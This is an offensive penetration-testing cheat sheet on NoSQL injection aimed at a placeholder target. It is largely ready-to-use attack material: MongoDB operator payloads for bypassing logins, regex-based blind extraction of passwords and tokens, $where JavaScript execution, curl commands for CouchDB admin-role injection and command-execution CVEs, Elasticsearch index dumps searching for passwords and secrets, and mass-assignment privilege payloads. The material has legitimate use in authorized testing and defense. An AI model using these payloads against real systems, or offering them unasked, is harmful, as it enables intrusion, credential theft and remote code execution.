NoSQL Injection

Sections NoSQL Injection

MongoDB, CouchDB, Redis, Elastic, Cassandra. Different syntax, same idea: untrusted input ends up in a query.

T=https://target.com

i. Where it lives

Most common in Node.js / Python apps using MongoDB. Look for:

  • Login forms with JSON body (MongoDB find with raw user input)
  • Search endpoints that accept structured queries
  • API endpoints with JSON parameters (/api/users?filter={...})
  • Redis-backed sessions / cache (rare to inject, but possible)
  • Elasticsearch query strings
  • CouchDB Mango queries

Signal that suggests NoSQL behind the scenes:

  • Server fingerprints as Node.js / Express / Python+Flask/FastAPI
  • API returns JSON-shaped data with _id fields
  • ObjectId pattern (24-char hex) in URLs or responses
  • Error messages mentioning BSON, Mongo, Cursor, find()

ii. MongoDB operator injection

Auth bypass via operator injection

Login endpoint expects:

{"username": "admin", "password": "pass"}

Many apps query the DB with db.users.find({username: req.body.username, password: req.body.password}). If the server doesn’t validate types, you inject query operators:

{"username": "admin", "password": {"$ne": "x"}}

$ne (not equal) means “password is anything except ‘x’”. Returns the admin row.

Common operators for auth bypass:

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": null}}
{"username": "admin", "password": {"$regex": ".*"}}

URL-encoded form variant

When the endpoint accepts form-encoded data, PHP/Express parse key[$ne]=x as {key: {$ne: 'x'}}:

POST /login
username=admin&password[$ne]=x

Always try both JSON and form-encoded variants - apps that filter one often forget the other.

iii. NoSQLMap and nosqli

NoSQLMap - sqlmap-style automation for NoSQL:

nosqlmap.py
## Interactive menu, picks attacks based on detection

nosqli - modern Go-based scanner, focused on MongoDB:

nosqli scan -t "$T/api/login" --request request.txt
nosqli scan -u "$T/api/users?id=1"

NoSQLi-Injection-Wordlists for fuzzing with ffuf:

ffuf -u "$T/login" -X POST -H "Content-Type: application/json" \
  -d '{"username":"FUZZ","password":"x"}' \
  -w nosql-payloads.txt -mc all -fs <baseline>

iv. Blind extraction (regex sidechannel)

When auth bypass works but you want to enumerate actual credentials/data:

{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...

The response is “login success” or “login fail” depending on whether the password starts with that character. Walk the string char by char.

Or via boolean-blind on any other field:

{"email": "victim@target.com", "tokens": {"$regex": "^abc"}}

Compare response sizes / status codes / behaviors between true and false branches.

v. Where Mongo lets you do worse

$where (server-side JavaScript)

If the app uses $where with user input, you get JS execution in the DB context:

{"$where": "function() { return this.username == 'admin' && sleep(5000) }"}
{"$where": "function() { return this.password.match(/^a/) }"}

Modern MongoDB disables JS engine by default. When enabled, this is direct DB-level RCE.

Aggregation pipeline injection

When user input goes into $match, $lookup, etc. without sanitization:

{"$match": {"$expr": {"$function": {"body": "function() { return ... }", "args": [], "lang": "js"}}}

Same JS execution path. Test with $expr operators in any aggregation parameter.

Mongo Express misconfig

If the target deployed Mongo Express (web admin UI) without auth, it’s full DB access:

$T:8081/    → Mongo Express UI
$T:27017    → MongoDB direct (no encryption, no auth often)
mongosh "mongodb://$T:27017"
## then:
> show dbs
> use app; show collections
> db.users.find()

vi. CouchDB

CouchDB exposes a REST API. Common bugs:

Default admin party (no auth set)

curl "$T:5984/_all_dbs"        ## list databases
curl "$T:5984/_users/_all_docs"

CVE-2017-12635 (admin role injection)

On unpatched CouchDB <= 1.7.0, duplicate fields in JSON get parsed differently by validator vs final config:

curl -X PUT "$T:5984/_users/org.couchdb.user:atk" -H 'Content-Type: application/json' -d '{"type":"user","name":"atk","roles":["_admin"],"roles":[],"password":"x"}'

CVE-2017-12636 (RCE via config endpoint)

After admin:

curl -X PUT "$T:5984/_config/query_servers/cmd" -d '"id >> /tmp/x"'
curl -X PUT "$T:5984/db/test"
curl -X POST "$T:5984/db/_temp_view" -H 'Content-Type: application/json' -d '{"language":"cmd","map":""}'

vii. Elasticsearch / OpenSearch

REST API on port 9200. When exposed without auth:

## Cluster info:
curl "$T:9200/"
curl "$T:9200/_cluster/health"
curl "$T:9200/_cat/indices?v"
## Dump everything in an index:
curl "$T:9200/INDEX/_search?pretty&size=10000"
## Search across all indices:
curl "$T:9200/_all/_search?q=password&pretty"
curl "$T:9200/_all/_search?q=secret&pretty"

CVE-2014-3120 (very old): Groovy script execution in older Elastic. Still found on legacy systems.

CVE-2015-1427 (older still): Groovy sandbox bypass for RCE.

Search query injection: if the app sends user input to ES query_string, the user can use Lucene query syntax to access fields they shouldn’t:

?q=username:*&password:*
?q=role:admin

viii. Redis

When Redis is exposed and you have unauth access, the 02 Service Enum Redis section covers the SSH-key-write and webshell-write paths.

Redis as a NoSQL backend in apps is mostly safe (the queries are typed commands, no injection in the SQL sense). The bugs are in the surrounding logic (cache poisoning, session prediction).

ix. Cassandra / CQL

CQL injection mirrors SQL injection:

SELECT * FROM users WHERE username='admin' AND token='X'

Bugs:

  • ' to break out
  • -- for comments
  • UNION (limited support)
  • Time-based delays not native, harder to confirm blind

Less common, less tooled. If you find Cassandra, the usual SQLi approach with manual probing applies.

x. Tricks worth knowing

JSON vs form-encoded

Always test both. Apps frequently filter one and trust the other.

Type juggling in language layers

Express+MongoDB:

## Form: password=x      -> string 'x'
## Form: password[$ne]=x -> object {$ne: 'x'}
## JSON: {"password": {"$ne": "x"}}  -> same object

PHP+MongoDB has similar nested array parsing.

_id enumeration

ObjectId is 24 hex chars but NOT random - 4 bytes timestamp, 5 bytes random per host, 3 bytes counter. Predictable bytes mean adjacent IDs are guessable. Pull one user’s ID, predict others.

Mass assignment via JSON

Even without injection, JSON-receiving endpoints often accept extra fields:

{"username": "newuser", "password": "x", "isAdmin": true}

Test every endpoint that accepts JSON for fields the form doesn’t include. role, isAdmin, _admin, permissions, verified, email_verified - try them all.

Filter bypass via deep paths

Some sanitizers check top-level keys only:

{"username":"admin","password":{"nested":{"$ne":"x"}}}

Or via array indexing:

{"username":"admin","password":[{"$ne":"x"}]}

xi. References

xii. Where it leads

  • Auth bypass via $ne → admin dashboard access, escalate via stored functions
  • DB dump → cred reuse, see AD05 Password Spraying for the wider spray
  • $where JS execution → RCE on the DB host (or at least DB-side data manipulation)
  • Mongo Express / unauth Mongo → full DB control + key file harvesting
  • CouchDB admin RCE → 04 Initial Access Linux foothold
  • Elastic with query.script enabled (older versions) → RCE